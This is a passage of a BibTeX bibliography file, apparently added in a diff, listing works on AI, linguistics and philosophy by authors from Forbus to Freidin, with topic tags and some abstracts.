{diagrams;reasoning-with-diagrams; + qualitative-physics;visual-reasoning;} + } + +@inproceedings{ forbus:1998a, + author = {Kenneth D. Forbus}, + title = {Causal Reasoning in Common Sense Physics---Global Theories + or Local Bootstraps?}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + pages = {12}, + note = {Abstract.}, + topic = {causality;qualitative-physics;} + } + +@article{ forbus-etal:1999a, + author = {Kenneth D. Forbus and Peter B. Whalley and John O. Everett + and Leo Ureel and Mike Brokowski and Julie Baher and + Sven E. Kuehne}, + title = {Cycle{P}ad: An Articulate Virtual Laboratory for Engineering + Thermodynamics}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {114}, + number = {1--2}, + pages = {297--347}, + acontentnote = {Abstract: + One of the original motivations for research in qualitative + physics was the development of intelligent tutoring systems and + learning environments for physical domains and complex systems. + This article demonstrates how a synergistic combination of + qualitative reasoning and other AI techniques can be used to + create an intelligent learning environment for students learning + to analyze and design thermodynamic cycles. Pedagogically this + problem is important because thermodynamic cycles express the + key properties of systems which interconvert work and heat, such + as power plants, propulsion systems, refrigerators, and heat + pumps, and the study of thermodynamic cycles occupies a major + portion of an engineering student's training in thermodynamics. + This article describes CyclePad, a fully implemented articulate + virtual laboratory that captures a substantial fraction of the + knowledge in an introductory thermodynamics textbook and + provides explanations of calculations and coaching support for + students who are learning the principles of such cycles. + CyclePad employs a distributed coaching model, where a + combination of on-board facilities and a server-based coach + accessed via email provide help for students, using a + combination of teleological and case-based reasoning. CyclePad + is a fielded system, in routine use in classrooms scattered all + over the world. We analyze the combination of ideas that made + CyclePad possible and comment on some lessons learned about the + utility of various AI techniques based on our experience in + fielding CyclePad. + } , + topic = {qualitative-physics;intelligent-tutoring; + computer-assisted-science;} + } + +@book{ ford_km-hayes:1991a, + editor = {Kenneth M. Ford and Patrick J. Hayes}, + title = {Reasoning Agents in a Dynamic World: The Frame Problem}, + publisher = {JAI Press}, + year = {1991}, + address = {Greenwich, Connecticut}, + ISBN = {1559380829}, + xref = {Review: toth:1995a.}, + topic = {frame-problem;philosophy-AI;} + } + +@book{ ford_km-etal:1995a, + editor = {Kenneth M. Ford and Clark Glymour and Patrick J. Hayes}, + title = {Android Epistemology}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + ISBN = {0262061848}, + topic = {epistemology;philosophy-of-AI;philosophy-AI;} + } + +@book{ ford_km-pylyshyn:1996a, + editor = {Kenneth M. Ford and Zenon Pylyshyn}, + title = {The Robot's Dilemma Revisited: The Frame Problem + in Artificial Intelligence}, + publisher = {Ablex Publishing Co.}, + address = {Norwood, New Jersey}, + year = {1996}, + contentnote = {TC: + 0. Zenon Pylyshyn, "The Frame Problem Blues: Once More, with + Feeling", pp. xi-- xviii + 1. Daniel C. Dennett, "Producing Future by Telling + Stories", pp. 1--7 + 2. Eric Dietrich and Chris Fields, "The Role of the Frame + Problem in Fodor's Modularity Thesis: A Case Study of + Rationalist Cognitive Science", pp. 9--24 + 3. Clark Glymour, "The Adventures among the Asteroids of + {A}ngela {A}ndroid, Series 8400XF with an Afterword + on Planning, Prediction, Learning, the Frame Problem, + and a Few Other Subjects", pp. 25--34 + 4. Lars-Erik Janlert, "The Frame Problem: Freedom or + Stability? With Pictures we can Have Both", pp. 35--48 + 5. Henry J. Kyburg, Jr., "Dennett's Beer", pp. 49--60 + 6. Eric Lormand, "The Holorobophobe's Dilemma", pp. 61--88 + 7. Ronald P. Loui, "Back to the Scene of the Crime: Or, + Who Survived the {Y}ale Shooting?", pp. 89--98 + 8. Leora Morgenstern, "The Problem with Solutions to the + Frame Problem", pp. 99--133 + 9. Patrick J. Hayes and Kenneth M. Ford and Neil M. Agnew, + "Epilog: {G}oldilocks and the Frame Problem", pp. 135--137 + } , + ISBN = {1567501435 (pbk)}, + topic = {frame-problem;philosophy-AI;} + } + +@article{ forguson:1966a1, + author = {Lynd W. Forguson}, + title = {In Pursuit of Performatives}, + journal = {Philosophy}, + year = {1966}, + volume = {41}, + pages = {341--347}, + missinginfo = {number}, + xref = {Reprinted in fann:1969a; see forguson:1966a2.}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@incollection{ forguson:1966a2, + author = {Lynd W. Forguson}, + title = {In Pursuit of Performatives}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {412--419}, + address = {London}, + missinginfo = {E's 1st name.}, + xref = {Reprinted in; see forguson:1966a2.}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@incollection{ forguson:1969a, + author = {Lynd W. Forguson}, + title = {Austin's Philosophy of Action}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {127--147}, + address = {London}, + missinginfo = {E's 1st name.}, + topic = {JL-Austin;ordinary-language-philosophy;} + } + +@incollection{ forguson:1969b, + author = {Lynd W. Forguson}, + title = {Has {A}yer Vindicated the Sense-Datum Theory?}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {309--341}, + address = {London}, + missinginfo = {E's 1st name.}, + topic = {JL-Austin;phenomenalism;} + } + +@incollection{ forguson:1973a, + author = {Lynd W. Forguson}, + title = {Locutionary and Illocutionary Acts}, + booktitle = {Essays on J.L. Austin}, + publisher = {Oxford University Press}, + year = {1973}, + editor = {Isiah Berlin et al.}, + pages = {160--185}, + address = {Oxford}, + topic = {JL-Austin;ordinary-language-philosophy;speech-acts;pragmatics;} + } + +@book{ forguson:1989a, + author = {Lynd W. Forguson}, + title = {Common Sense}, + publisher = {Richard Clay, Ltd.}, + year = {1989}, + address = {Bungay, England}, + contentnote = {This is a psychological and philosophical study. + There is a discussion of the acquisition of common sense + birth to 4 years. Reid and Moore are discussed. The general + purpose is to defend common sense philosophy from skeptical + attacks.}, + topic = {common-sense;skepticism;} + } + +@article{ forgy:1982a, + author = {Charles L. Forgy}, + title = {Rete: A Fast Algorithm for the Many Pattern/Many Object + Pattern Match Problem}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {19}, + number = {1}, + pages = {17--37}, + acontentnote = {Abstract: + The Rete Match Algorithm is an efficient method for comparing a + large collection of patterns to a large collection of objects. + It finds all the objects that match each pattern. The algorithm + was developed for use in production system interpreters, and it + has been used for systems containing from a few hundred to more + than a thousand patterns and objects. This article presents the + algorithm in detail. It explains the basic concepts of the + algorithm, it describes pattern and object representations that + are appropriate for the algorithm, and it describes the + operations performed by the pattern matcher. } , + topic = {rete-networks;AI-algorithms;} + } + +@inproceedings{ forman:1974a, + author = {Donald Forman}, + title = {The Speaker Knows Best Principle}, + booktitle = {Proceedings of the Tenth Regional Meeting of the + Chicago Linguistics Society}, + year = {1974}, + pages = {162--177}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + missinginfo = {editor}, + topic = {philosophy-of-linguistics;} + } + +@unpublished{ forman:1976a, + author = {Donald Forman}, + title = {Common Sense and Indirect Speech Acts}, + year = {1976}, + note = {Unpublished manuscript, Linguistics Progam, State University + of New York at Binghamton.}, + contentnote = {Idea: to deploy a speaker-meaning interpretive + theory of indirect speech acts.}, + topic = {speech-acts;pragmatics;} + } + +@article{ forrester:1984a, + author = {James W. Forrester}, + title = {Gentle Murder, or the Adverbial {S}amaritan}, + journal = {Journal of Philosophy}, + year = {1984}, + volume = {81}, + pages = {193--197}, + missinginfo = {A's 1st name, number}, + topic = {deontic-logic;} + } + +@book{ forrester:1996a, + author = {James W. Forrester}, + title = {Being Good and Being Logical: Philosophical + Groundwork for a New Deontic Logic}, + publisher = {M.E. Sharpe}, + year = {1996}, + address = {Armouk, New York}, + ISBN = {1-56324-880-8}, + xref = {Review: swirydowicz:1999a.}, + topic = {deontic-logic;metaethics;} + } + +@incollection{ forster_ki:1990a, + author = {Kenneth I. Forster}, + title = {Lexical Processing}, + booktitle = {Language: An Invitation to Cognitive Science, + Vol. 1.}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {95--131}, + address = {Cambridge, Massachusetts}, + topic = {psycholinguistics;lexicon;} + } + +@article{ forster_t:2001a, + author = {Thomas Forster}, + title = {Review of {\it Mathematical Logic for Computer Science}, + by {Z}hongwan {L}u}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {1}, + pages = {149--150}, + xref = {Review of: lu_zw:1998a.}, + topic = {logic-in-cs;logic-in-cs-intro;} + } + +@article{ forster_te-rood:1996a, + author = {T.E. Forster and C.M. Rood}, + title = {Sethood and Situations}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {3}, + pages = {405--408}, + topic = {situation-semantics;} + } + +@inproceedings{ fortnow-kimmel:1998a, + author = {Lance Fortnow and Peter Kimmel}, + title = {Beating a Finite Automaton in the Big Match}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {225--234}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {game-theory;finite-state-automata;} + } + +@inproceedings{ fosler:1996a, + author = {J. Eric Fosler}, + title = {On Reversing the Generation Process in Optimality Theory}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {354--365}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {optimality-theory;parsing-algorithms;} + } + +@incollection{ foss-fay:1977a, + author = {Donald J. Foss and David Fay}, + title = {Linguistic Theory and Performance Models}, + booktitle = {Testing Linguistic Hypotheses}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David Cohen and Jessica Worth}, + pages = {65--91}, + address = {New York}, + topic = {parsing-psychology;competence;philosophy-of-linguistics;} + } + +@incollection{ foster_g:2000a, + author = {George Foster}, + title = {Incorporating Position Information into a + Maximum Entropy/Minimum Divergence Translation Model}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {37--42}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;statistical-nlp;machine-translation;} + } + +@book{ foster_j:2000a, + author = {John Foster}, + title = {The Nature of Perception}, + publisher = {Oxford University Press}, + year = {2000}, + address = {Oxford}, + xref = {Review: jackson_f:2000a.}, + topic = {epistemology;perception;} + } + +@incollection{ foster_ja:1976a, + author = {J.A. Foster}, + title = {Meaning and Truth Theory}, + booktitle = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + editor = {Gareth Evans and John Mc{D}owell}, + pages = {1--32 } , + address = {Oxford}, + topic = {Davidson-semantics;} + } + +@article{ foucoult:1971a, + author = {M. Foucoult}, + title = {The Discourse on Language}, + journal = {Social Science Information}, + year = {1971}, + pages = {7--10}, + note = {Translated by Rupert Swyer.}, + missinginfo = {A's 1st name, volume, number}, + topic = {continental-philosophy;philosophy-of-language;} + } + +@article{ fouks-signac:2001a, + author = {J.-D. Fouks and L. Signac}, + title = {The Problem of Survival from an Algorithmic Point of View}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {133}, + number = {1--2}, + pages = {87--116}, + topic = {behavior-based-AI;reactive-AI;emergent-behavior;} + } + +@article{ foulks:1999a, + author = {Frank Foulks}, + title = {On the Concept of the Scale}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {3}, + pages = {235--264}, + topic = {foundations-of-music;phenomenalism;} + } + +@article{ foulser-etal:1992a, + author = {David E. Foulser and Ming Li and Quang Ling}, + title = {Theory and Algorithms for Plan Merging}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {57}, + number = {2--3}, + pages = {143--181}, + topic = {plan-reuse;} + } + +@article{ fowler-etal:1983a, + author = {Glenn Fowler and Robert Haralick and F. Gail Gray and + Charles Feustel and Charles Grinstead}, + title = {Efficient Graph Automorphism by Vertex Partitioning}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {21}, + number = {1--2}, + pages = {245--269}, + acontentnote = {Abstract: + We describe a vertex partitioning method and squeeze tree search + technique, which can be used to determine the automorphism + partition of a graph in polynomial time for all graphs tested, + including those which are strongly regular. The vertex + partitioning procedure is based on first transforming the graph + by the 1- or 2-subdivision transform or the 1- or 2-superline + transform and then employing a distance signature coding + technique on the vertices of the transformed graph. The + resulting adjacency refinement partition of the transformed + graph is reflected back to the original graph where it can be + used as an initial vertex partition which is equal to or coarser + than the desired automorphism partition. + The squeeze tree search technique begins with two partitions, + one finer than the automorphism partition and one coarser than + the automorphism partition. In essence, it searches through all + automorphisms refining the coarser partition and coarsening the + finer partition until the two are equal. At this point the + result is the automorphism partition. The vertex partitioning + method using the 2-superline graph transform preceding the + squeeze tree search is so powerful that for all the graphs in + our catalog (random, regular, strongly regular, and balanced + incomplete block designs) it produces the automorphism + partition, thereby making the tree search nothing more than a + verification that the initial partition is indeed the + automorphism partition.}, + topic = {search;graph-based-reasoning;} + } + +@article{ fox_ba:1987a, + author = {B.A. Fox}, + title = {Interactional Reconstruction in Real-Time Language Processing}, + journal = {Cognitive Science}, + year = {1987}, + volume = {11}, + pages = {365--388}, + missinginfo = {A's 1st name, number}, + topic = {psycholinguistics;nl-processing;nl-understanding;} + } + +@book{ fox_ba:1996a, + author = {Barbara Fox}, + title = {Studies in Anaphora}, + publisher = {John Benjamins Publishing Company}, + year = {1996}, + address = {Amsterdam}, + topic = {anaphora;} + } + +@article{ fox_d:1995a, + author = {Danny Fox}, + title = {Economy and Scope}, + journal = {Natural Language Semantics}, + year = {1995}, + volume = {3}, + number = {3}, + pages = {283--341}, + topic = {nl-quantifier-scope;} + } + +@article{ fox_d:1999a, + author = {Danny Fox}, + title = {Reconstruction, Binding Theory, and the Interpretation + of Chains}, + journal = {Linguistic Inquiry}, + year = {1999}, + volume = {30}, + number = {2}, + pages = {157--196}, + topic = {nl-quantifier-scope;binding-theory;} + } + +@book{ fox_d:2000a, + author = {Danny Fox}, + title = {Economy and Semantic Interpretation}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + xref = {Review: bhatt:2002a,}, + topic = {syntax-semantics-interface;nl-quantifier-scope;} + } + +@inproceedings{ fox_j1-clarke:1991a, + author = {J. Fox and M. Clarke}, + title = {Towards a Formalization of Arguments in Decision Making}, + booktitle = {Proceedings of the 1991 {AAAI} Spring Symposium on + Argument and Belief}, + year = {1991}, + pages = {92--99}, + organization = {AAAI}, + missinginfo = {A's 1st name, number}, + topic = {practical-reasoning;argumentation;} + } + +@incollection{ fox_j2-etal:1991a, + author = {John Fox and Paul Krause and Mirko Dohnal}, + title = {An Extended Logic Language for Representing Belief}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {63--69}, + address = {Berlin}, + topic = {belief;reasoning-about-uncertainty;} + } + +@inproceedings{ fox_j2-parsons:1997a, + author = {John Fox and Simon Parsons}, + title = {On Using Arguments for Reasoning about Actions and Values}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {55--63}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {qualitative-utility;practical-reasoning;practical-argumentation;} + } + +@article{ fox_m-long_d:2001a, + author = {Maria Fox and Derek Long}, + title = {{STAN}4: A Hybrid Planning Strategy Based on Subproblem + Abstraction}, + journal = {The {AI} Magazine}, + year = {2001}, + volume = {22}, + number = {1}, + pages = {81--84}, + topic = {planning;planning-algorithms;planning-systems;} + } + +@article{ fox_ms-gruninger:1998a, + author = {Mark S. Fox and Michael Gruninger}, + title = {Enterprise Modeling}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {19}, + number = {3}, + pages = {109--121}, + topic = {enterprise-modeling;} + } + +@techreport{ fox_r-josephson:1991a, + author = {Richard Fox and John R. Josephson}, + title = {An Abductive Articulatory Recognition System}, + institution = {The Ohio State University}, + year = {1991}, + address = {Columbus, Ohio}, + note = {{LAIR} Technical Report}, + topic = {abduction;} + } + +@incollection{ fraczak-etal:1998a, + author = {Lidia Fraczak and Guy Lapalme and Michael Zock}, + title = {Automatic Generation of Subway Direction: + Salience Gradation as a Factor for Determining + Message and Form}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {58--67}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;discourse-planning;} + } + +@article{ francescotti:1995a, + author = {Robert M. Francescotti}, + title = {Even: The Conventional Implicature Approach Reconsidered}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {2}, + pages = {153--173}, + topic = {`even';conventional-implicature;} + } + +@article{ francescotti:1999a, + author = {Robert M. Francescotti}, + title = {How to Define Intrinsic Properties}, + journal = {No\^us}, + year = {1999}, + volume = {33}, + number = {4}, + pages = {590--609}, + topic = {internal/external-properties;} + } + +@inproceedings{ francheset-montanari:1999a, + author = {Massimo Francheset and Angelo Montanari}, + title = {Pairing Transitive Closure and Reduction to + Efficiently Reason about Parftially Ordered Events}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Nonmonotonic Reasoning, Action and Change}, + year = {1999}, + editor = {Michael Thielscher}, + pages = {79--86}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {action-formalisms;event-calculus;planning-algorithms;} + } + +@book{ francis_wn:1964a, + author = {W. Nelson Francis}, + year = {1964}, + title = {A Standard Sample of Present-day {E}nglish for use with + Digital Computers. Report to the U.S. Office of + Education on Cooperative Research Project No.~E--007}, + publisher = {Brown University}, + address = {Providence}, + topic = {corpus-linguistics;} + } + +@book{ francis_wn-kucera_h:1982a, + author = {W. N. Francis and H. Ku\c{c}era}, + title = {Frequency Analysis of {E}nglish Usage: Lexicon and Grammar}, + publisher = {Houghton Mifflin}, + year = {1982}, + address = {Boston}, + topic = {corpus-linguistics;English-language;} +} + +@inproceedings{ franconi:1992a, + author = {Enrico Franconi}, + title = {Collective Entities and Relations in Concept Languages}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {31--35}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;extensions-f-KL1;taxonomic-logics;} + } + +@incollection{ franconi-etal:1992a, + author = {Enrico Franconi and Bernardo Magnini and Oliviero Stock}, + title = {Prototypes in a Hybrid Language with Primitive + Descriptions}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {543--555}, + address = {Oxford}, + topic = {kr;semantic-networks;nonmonotonic-reasoning; + kr-course;} + } + +@incollection{ frank_au:1997a, + author = {Andrew U. Frank}, + title = {Spatial Ontology}, + booktitle = {Spatial and Temporal Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Oliviero Stock}, + pages = {135--153}, + address = {Dordrecht}, + topic = {spatial-representation;computational-ontology;} + } + +@article{ frank_i-basin:1998a, + author = {Ian Frank and David Basin}, + title = {Search in Games with Incomplete Information; a Case Study + Using Bridge Card Play}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {100}, + number = {1--2}, + pages = {87--127}, + topic = {search;decision-making-under-uncertainty; + game-theoretic-reasoning;game-playing;} + } + +@article{ frank_mg-etal:1993a, + author = {Mark G. Frank and Paul Ekman and Wallace V. Friesen}, + title = {Behavioral Markers and Recognizability of the Smile + of Enjoyment}, + journal = {Journal of Personality and Social Psychology}, + volume = {64}, + number = {1}, + pages = {83--93}, + year = {1993}, + topic = {facial-expressions;} + } + +@article{ frank_r-satta:1998a, + author = {Robert Frank and Giorgio Satta}, + title = {Optimality Theory and the Generative Complexity of + Constraint Volatility}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {2}, + pages = {306--315}, + topic = {optimality-theory;complexity-theory;} + } + +@article{ frankfurt:1958a, + author = {Harry G. Frankfurt}, + title = {Peirce's Notion of Abduction}, + journal = {The Journal of Philosophy}, + year = {1958}, + volume = {55}, + pages = {588--597}, + topic = {abduction;Peirce;} + } + +@article{ frankfurt:1969a, + author = {Harry G. Frankfurt}, + title = {Alternate Possibilities and Moral Responsibility}, + journal = {Journal of Philosophy}, + year = {1969}, + volume = {66}, + pages = {828--839}, + missinginfo = {number}, + topic = {blameworthiness;freedom;} + } + +@article{ frankfurt:1971a, + author = {Harry Frankfurt}, + title = {Freedom of the Will and the Concept of a Person}, + journal = {Journal of Philosophy}, + year = {1971}, + volume = {68}, + pages = {5--20}, + topic = {freedom;} + } + +@book{ franklin:1995a, + editor = {Stan Franklin}, + title = {Artificial Minds}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + topic = {philosophy-of-mind;philosophy-of-computation;} + } + +@article{ frankot-chellappa:1990a, + author = {Robert T. Frankot and Rama Chellappa}, + title = {Estimation of Surface Topography from Sar Imagery Using + Shape from Shading Techniques}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {3}, + pages = {271--310}, + topic = {computer-vision;map-building;} + } + +@book{ franz:1996a, + author = {Alexander Franz}, + title = {Ambiguity Resolution in Natural Language}, + publisher = {Springer-Verlag}, + year = {1996}, + address = {Berlin}, + xref = {Review: monz:1999a.}, + topic = {part-of-speech-tagging;corpus-linguistics;} + } + +@inproceedings{ franz:1997a, + author = {Alexander Franz}, + title = {Independence Assumptions Considered Harmful}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {182--189}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {statistical-nlp;} + } + +@incollection{ fraser_b:1971a, + author = {Bruce Fraser}, + title = {An analysis of `even' in {E}nglish}, + booktitle = {Studies in Linguistic Semantics}, + publisher = {Holt, Rinehart and Winston}, + year = {1971}, + editor = {Charles J. Fillmore and D. Terence Langendoen}, + pages = {150--178}, + address = {New York}, + topic = {even;sentence-focus;pragmatics;} + } + +@book{ fraser_b:1971b, + author = {Bruce Fraser}, + title = {An Examination of the Performative Analysis}, + publisher = {Indiana University Linguistics Club}, + year = {1972}, + address = {310 Lindley Hall, Bloomington, Indiana}, + xref = {Revised publication: fraser:74a}, + topic = {speech-acts;pragmatics;} + } + +@article{ fraser_b:1974a, + author = {Bruce Fraser}, + title = {An Examination of the Performative Analysis}, + journal = {Papers in Linguistics}, + year = {1974}, + volume = {7}, + pages = {1--40}, + missinginfo = {number}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ fraser_b:1974b, + author = {Bruce Fraser}, + title = {An Analysis of Vernacular Performative Verbs}, + booktitle = {Towards Tomorrow's Linguistics}, + publisher = {Georgetown University Press}, + year = {1974}, + editor = {R.W. Shuy and {C.-J.} Bailey}, + address = {Washington, DC}, + missinginfo = {pages}, + topic = {speech-acts;pragmatics;} + } + +@article{ fraser_b:1988a, + author = {Bruce Fraser}, + title = {Motor Oil is Motor Oil: An Account of {E}nglish + Nominal Tautologies}, + journal = {Journal of Pragmatics}, + year = {1988}, + volume = {12}, + pages = {215--220}, + missinginfo = {number}, + topic = {implicature;} + } + +@unpublished{ fraser_n-hudson_nm:1990a, + author = {Norman M. Fraser and Richard A. Hudson}, + title = {Word Grammar in Inheritance-Based Theory of Language}, + year = {1990}, + note = {Unpublished manuscript.}, + topic = {nm-ling;inheritance;} + } + +@book{ frawley:1997a, + author = {William Frawley}, + title = {Vygotsky and Cognitive Science: Language and + the Unification of the Social and Computational Mind}, + publisher = {Harvard University Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + ISBN = {0-674-94347-3}, + xref = {Review: luckin:1998a.}, + topic = {foundations-of-cognitive-science;philosophy-of-language; + psychology-general;context;} + } + +@article{ frazier-fodor_jd:1978a, + author = {Lyn Frazier and Janet Dean Fodor}, + title = {The Sausage Machine: A New Two Stage Parsing Model}, + journal = {Cognition}, + year = {1978}, + volume = {6}, + pages = {291--324}, + missinginfo = {number}, + topic = {parsing-psychology;} + } + +@unpublished{ frazier:1982a, + author = {Lyn Frazier}, + title = {A General Complexity Metric for Natural Language Sentences}, + year = {1982}, + note = {Unpublished manuscript, University of Massachusetts}, + topic = {parsing-psychology;} + } + +@book{ frazier-clifton:1995a, + author = {Lyn Frazier and Charles Clifton}, + title = {Construal}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {psycholinguistics;parsing-psychology;} + } + +@unpublished{ frede:1981a, + author = {Dorothea Frede}, + title = {The Dramatization of Determinism: {A}lexander of + {A}phrodisias' de {F}ato}, + year = {1981}, + note = {Unpublished manuscript.}, + topic = {ancient-philosophy;future-contingent-propositions; + (in)determinism;} + } + +@book{ frede_d:1970a, + author = {Dorothea Frede}, + title = {Aristoteles und die `Seeschlacht'\,"}, + publisher = {Vandenhoeck \& Ruprecht}, + year = {1970}, + address = {G\"ottingen}, + topic = {future-contingent-propositions;Aristotle;} + } + +@article{ frede_d:1998a, + author = {Dorothea Frede}, + title = {{L}ogik, {S}prache und die {O}ffenheit der {Z}ukunft in + der {A}ntike {B}emerkungen zu zwei Neuen + {F}orschungsbeitragen}, + journal = {Zeitschrift fur philosophische {F}orschung}, + year = {1998}, + volume = {52}, + number = {1}, + pages = {84--104}, + acontentnote = {Abstract: + The article discusses two recent publications on the relation + between logic, language and the determination of the future. The + first is a full length translation and commentary on Aristotle's + ``De interpretatione'', Berlin 1994, by Hermann Weidemann (in + German), containing a 100 page excusion on the problem of future + contingency. The second is the monograph on future contingency + by Richard Gaskin, ``The Sea Battle and the Master Argument, + Aristotle and Diodorus Cronus on the Metaphysics of the Future'', + Berlin 1995. Both authors provide a meticulous analysis of the + problems and come to compatible conclusions concerning the need + to adjust logic and language to the needs of metaphysics. } , + xref = {Review of: aristotle-deint:bc, gaskin:1995a.}, + topic = {Aristotle;future-contingent-propositions;} + } + +@unpublished{ frede_m:1975a, + author = {Michael Frede}, + title = {Categories in {A}ristotle}, + year = {1975}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a wild guess.}, + topic = {Aristotle;philosophical-ontology;} + } + +@article{ fredkin:1960a, + author = {E. Fredkin}, + title = {Trie Memory}, + journal = {CACM}, + year = {1969}, + volume = {3}, + pages = {490--499}, + missinginfo = {A's 1st name, number}, + topic = {PAT-trees;machine-learning;} + } + +@book{ freedle:1979a, + editor = {Roy O. Freedle}, + title = {New Directions in Discourse Processing}, + publisher = {Ablex Publishing Corp.}, + year = {1979}, + address = {Norwood, New Jersey}, + topic = {discourse-analysis;} +} + +@article{ freeland:1985a, + author = {Cynthia Freeland}, + title = {Aristotle on Possibilities and Capacities}, + journal = {Ancient Philosophy}, + year = {1985}, + volume = {6}, + pages = {69--89}, + missinginfo = {Year is a guess.}, + topic = {Aristotle;dispositions;potentiality;ability;} + } + +@article{ freeman_jw:1996a, + author = {Jon W. Freeman}, + title = {Hard random 3-{SAT} Problems and the {D}avis-{P}utnam + Procedure}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {81}, + number = {1--2}, + pages = {183--198}, + topic = {search;experiments-on-theorem-proving-algs; + computational-phase-transitions;} + } + +@incollection{ freeman_nh:1995a, + author = {Norman H. Freeman}, + title = {Theories of Mind in Collision: Plausibility and Authority}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {68--86}, + address = {Oxford}, + topic = {folk-psychology;theory-theory-of-folk-psychology; + mental-simulation;propositional-attitude-ascription;} + } + +@unpublished{ frege:1881a, + author = {Gottlob Frege}, + title = {Further Explanations of Sense and Denotation}, + year = {1881}, + note = {Unpublished manuscript, Jena. Translated by Montgomery + Furth.}, + topic = {intensionality;logic-of-sense-and-denotation;} + } + +@book{ frege:1953a, + author = {Gottlob Frege}, + title = {The Foundations of Arithmetic}, + publisher = {Oxford University Press}, + year = {1953}, + address = {Oxford}, + edition = {2nd}, + note = {(Translated by J.L. Austin.)}, + topic = {logic-classics;} + } + +@book{ freidin:1976a, + author = {Robert Freidin}, + title = {The Syntactic Cycle: Proposals and Alternatives}, + publisher = {Indiana University Linguistics Club}, + year = {1976}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {nl-syntax;transformational-grammar;} + } + +@book{ freidin:1991a, + editor = {Robert Freidin}, + title = {Principles and Parameters in Comparative Grammar}, + publisher = {The {MIT} Press}, + year = {1991}, + address = {Cambridge, Massachusetts}, + topic = 